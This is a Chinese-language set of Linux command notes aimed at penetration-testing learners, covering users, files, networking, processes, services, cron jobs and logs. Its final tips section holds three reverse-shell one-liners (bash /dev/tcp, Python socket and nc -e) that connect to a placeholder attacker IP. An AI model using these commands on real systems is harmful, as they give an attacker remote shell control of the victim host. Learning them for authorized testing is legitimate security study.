Linux基础命令与操作
概述
Linux系统是服务器端最常用的操作系统,在渗透测试中经常会接触到。掌握Linux基础命令对于后渗透、权限维持、应急响应都非常重要。本文整理了Linux常用的基础命令。
一、用户管理
1. 创建用户
# 创建用户
useradd 用户名
useradd -m 用户名 # 同时创建家目录
useradd -s /bin/bash 用户名 # 指定shell
# 设置密码
passwd 用户名
# 创建用户并设置密码
useradd -m 用户名 && echo "用户名:密码" | chpasswd
2. 删除用户
# 删除用户
userdel 用户名
userdel -r 用户名 # 同时删除家目录
3. 用户组操作
# 创建用户组
groupadd 组名
# 将用户添加到组
usermod -aG 组名 用户名
# 查看用户所属组
groups 用户名
id 用户名
4. 查看用户
# 查看所有用户
cat /etc/passwd
# 查看当前用户
whoami
# 查看登录用户
who
w
二、文件操作
1. 目录操作
# 进入目录
cd 目录路径
cd .. # 返回上一级
cd ~ # 返回家目录
cd - # 返回上次目录
# 查看目录内容
ls
ls -a # 显示隐藏文件
ls -l # 详细信息
ls -la # 显示所有文件详细信息
# 创建目录
mkdir 目录名
mkdir -p a/b/c # 创建多级目录
# 删除目录
rmdir 目录名
rm -rf 目录名 # 强制删除目录及内容
2. 文件操作
# 查看文件内容
cat 文件名
more 文件名 # 分页查看
less 文件名 # 可上下翻页
head -n 10 文件名 # 查看前10行
tail -n 10 文件名 # 查看后10行
tail -f 文件名 # 实时查看
# 创建文件
touch 文件名
# 写入文件
echo 内容 > 文件名 # 覆盖写入
echo 内容 >> 文件名 # 追加写入
# 复制文件
cp 源文件 目标路径
cp -r 源目录 目标路径 # 复制目录
# 移动/重命名
mv 文件 目标路径
mv 旧文件名 新文件名
# 删除文件
rm 文件名
rm -f 文件名 # 强制删除
3. 文件权限
# 查看权限
ls -l
# -rwxr-xr-x 1 root root 4096 Jan 1 00:00 file
# r=4 w=2 x=1
# 修改权限
chmod 755 文件名
chmod +x 文件名 # 添加执行权限
chmod -R 755 目录名 # 递归修改
# 修改所有者
chown 用户名:组名 文件名
chown -R 用户名:组名 目录名
三、网络操作
1. 查看网络配置
# 查看IP配置
ip addr
ifconfig
# 查看路由
ip route
route -n
# 查看DNS
cat /etc/resolv.conf
2. 查看网络连接
# 查看网络连接和端口
netstat -tulnp # 显示所有监听端口
netstat -anp # 显示所有连接
ss -tulnp # 替代netstat
# 查找指定端口
netstat -tulnp | grep "端口号"
# 查看ARP缓存
arp -a
3. 网络测试
# ping测试
ping 目标IP
ping -c 10 目标IP # ping 10次
# traceroute路由追踪
traceroute 目标IP
# telnet测试端口
telnet 目标IP 端口
nc -zv 目标IP 端口 # 测试端口连通性
四、进程管理
1. 查看进程
# 查看所有进程
ps aux
ps -ef
# 查看指定进程
ps aux | grep 进程名
# 实时查看进程
top
htop
2. 结束进程
# 按PID结束
kill PID号
kill -9 PID号 # 强制结束
# 按进程名结束
killall 进程名
pkill 进程名
五、服务管理
1. systemctl命令
# 查看服务状态
systemctl status 服务名
# 启动/停止/重启服务
systemctl start 服务名
systemctl stop 服务名
systemctl restart 服务名
# 设置开机启动
systemctl enable 服务名
systemctl disable 服务名
# 查看所有服务
systemctl list-unit-files
2. service命令
# 启动/停止/重启服务
service 服务名 start
service 服务名 stop
service 服务名 restart
六、计划任务
1. crontab
# 编辑计划任务
crontab -e
# 查看计划任务
crontab -l
# 删除计划任务
crontab -r
# crontab格式
# 分 时 日 月 周 命令
# * * * * * command
# 0 */2 * * * command # 每2小时执行
# 0 0 * * * command # 每天0点执行
2. 其他定时任务
# at一次性任务
at 时间
at> 命令
at> Ctrl+D
# 查看at任务
atq
七、系统信息
# 查看系统信息
uname -a
cat /etc/os-release
# 查看内核版本
uname -r
# 查看CPU信息
lscpu
cat /proc/cpuinfo
# 查看内存信息
free -h
cat /proc/meminfo
# 查看磁盘信息
df -h
lsblk
八、日志查看
# 系统日志
cat /var/log/syslog
cat /var/log/messages
# 登录日志
cat /var/log/auth.log
last # 查看登录历史
lastb # 查看失败登录
# 应用日志
tail -f /var/log/nginx/access.log
tail -f /var/log/nginx/error.log
九、常用技巧
1. 查看端口对应进程
# 查看占用端口的进程
netstat -tulnp | grep ":80"
lsof -i:80
2. 查找文件
# find命令
find / -name "文件名"
find / -type f -name "*.conf"
find / -perm -4000 # 查找SUID文件
3. 文本处理
# grep搜索
grep "关键词" 文件名
grep -r "关键词" 目录名
grep -i "关键词" 文件名 # 忽略大小写
# awk处理
awk '{print $1}' 文件名
awk -F: '{print $1}' /etc/passwd
# sed替换
sed 's/原内容/新内容/g' 文件名
4. 反弹Shell
# bash反弹
bash -i >& /dev/tcp/攻击机IP/端口 0>&1
# python反弹
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("攻击机IP",端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"]);'
# nc反弹
nc -e /bin/sh 攻击机IP 端口
总结
Linux基础命令是渗透测试的基本功,需要熟练掌握:
- 用户管理:创建、删除、提权、SUID
- 文件操作:增删改查、权限管理
- 网络操作:IP配置、端口查看、网络测试
- 进程管理:查看、结束进程
- 服务管理:启动、停止、开机启动
- 计划任务:crontab定时执行
- 日志查看:系统日志、登录日志
本文为个人学习笔记,整理了Linux常用基础命令,供渗透测试参考。
